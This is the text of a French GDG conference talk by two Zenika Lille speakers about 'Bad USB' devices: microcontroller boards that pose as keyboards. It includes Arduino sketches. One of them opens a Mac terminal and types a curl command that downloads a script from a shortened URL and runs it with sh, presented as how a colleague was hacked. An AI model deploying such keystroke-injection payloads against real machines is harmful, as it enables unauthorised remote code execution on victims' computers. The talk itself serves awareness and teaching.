Aurélien LOYER
Nathan DAMIE
Aurélien LOYER
@AurelienLoyer
Zenika Lille
Nathan DAMIE
@Nathan_DAMIE
Zenika Lille
Bad usb
Saisie de caractères
DEMO
La CARTE
Trinket
Référence : Adafruit Trinket - Mini Microcontroller - 5V Logic
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 2.3 - 16 V
Long Larg Haut : 26 x 15.5 x 5
#include <TrinketKeyboard.h>
void setup() {
TrinketKeyboard.begin();
TrinketKeyboard.print("goo.gl/Cfq56P");
delay(100);
pressAndRelease(0x28); // Enter
}
void loop() {}
void pressAndRelease(key) {
TrinketKeyboard.pressKey(0, key);
delay(10);
TrinketKeyboard.pressKey(0,0);
delay(300);
}
DEMO
l'autre carte
Pro Micro
Référence : KOOKYE Pro Micro Module Board ATmega32U4 5V/16MHz
Architecture: AVR
Technologie :8-bit MCU
Tension de fonctionnement : 5 - 8 V
Long Larg Haut : 34 x 15.5 x 5
#include "azertykeyboard.h"
const int upButton = 20;
const int downButton = 18;
...
...
void setup() {
pinMode(upButton, INPUT_PULLUP);
pinMode(downButton, INPUT_PULLUP);
...
Keyboard.begin();
}
void loop() {
if (digitalRead(upButton) == LOW) {
pressAndRelease(KEY_UP_ARROW);
}
if (digitalRead(downButton) == LOW) {
pressAndRelease(KEY_DOWN_ARROW);
}
if (digitalRead(leftButton) == LOW) {
pressAndRelease(KEY_LEFT_ARROW);
}
if (digitalRead(rightButton) == LOW) {
pressAndRelease(KEY_RIGHT_ARROW);
}
delay(300);
}
void pressAndRelease(key) {
Keyboard.press(key);
Keyboard.release(key);
}
COmment j'ai hacké Emmanuel.D
demo
#include "Keyboard.h"
void setup(){
// Begining the Keyboard stream
Keyboard.begin();
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(' ');
Keyboard.releaseAll();
delay(1000);
Keyboard.print(F("terminal"));
delay(500);
typeKey(KEY_RETURN);
delay(500);
Keyboard.print(F("curl -L goo.gl/Nedj8n -o /tmp/script.sh"));
typeKey(KEY_RETURN);
delay(500);
delay(500);
typeKey(KEY_RETURN);
delay(100);
Keyboard.print(F("sh /tmp/script.sh"));
delay(500);
typeKey(KEY_RETURN);
Keyboard.end();
}
void typeKey(uint8_t key)
{
Keyboard.press(key);
delay(50);
Keyboard.release(key);
}
Trinket
- Très petit
- Facile à prendre en main
- Driver introuvable sur MAC
- Boot 5 minutes
Pro micro
- Un peu plus gros
- Souci avec le clavier AZERTY
- Boot directement (❗️)
...
trick
Astuce
Éviter de "s'auto-hacker"
#include "Keyboard.h"
int RXLED = 17;
void setup(){
pinMode(RXLED, OUTPUT);
// ACTIVE OR NOT HACK
// PUT JUMPER BETWEEN 7 && 14 TO PREVENT HACK
pinMode(7, OUTPUT);
digitalWrite(7, LOW);
pinMode(14, INPUT_PULLUP);
if(digitalRead(14) == LOW){
blinkNoHack();
}else {
// Malicious Code ;)
}
}
void blinkNoHack()
{
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
delay(1000);
digitalWrite(RXLED, HIGH);
delay(1000);
digitalWrite(RXLED, LOW);
}
/* Unused endless loop */
void loop() {}
TRUE STORY
PEtite histoire
Tester sur le terrain
Tu n'as pas une clé ?
Perte de confiance 😢
TU veux MA souris ?
Bien || MAL
Exemples
- Automatisation d'actions
- Clavier / souris / manette custom
- Hacker une usine nucléaire
- ...
PLUS Exemples
T3kstiil3/drop-that-key
Merci
Vous avez été super !
[ GDG ] Ne mets pas cette clé : tu risques de te faire hacker très fort !
By Nathan Damie
[ GDG ] Ne mets pas cette clé : tu risques de te faire hacker très fort !
- 1,594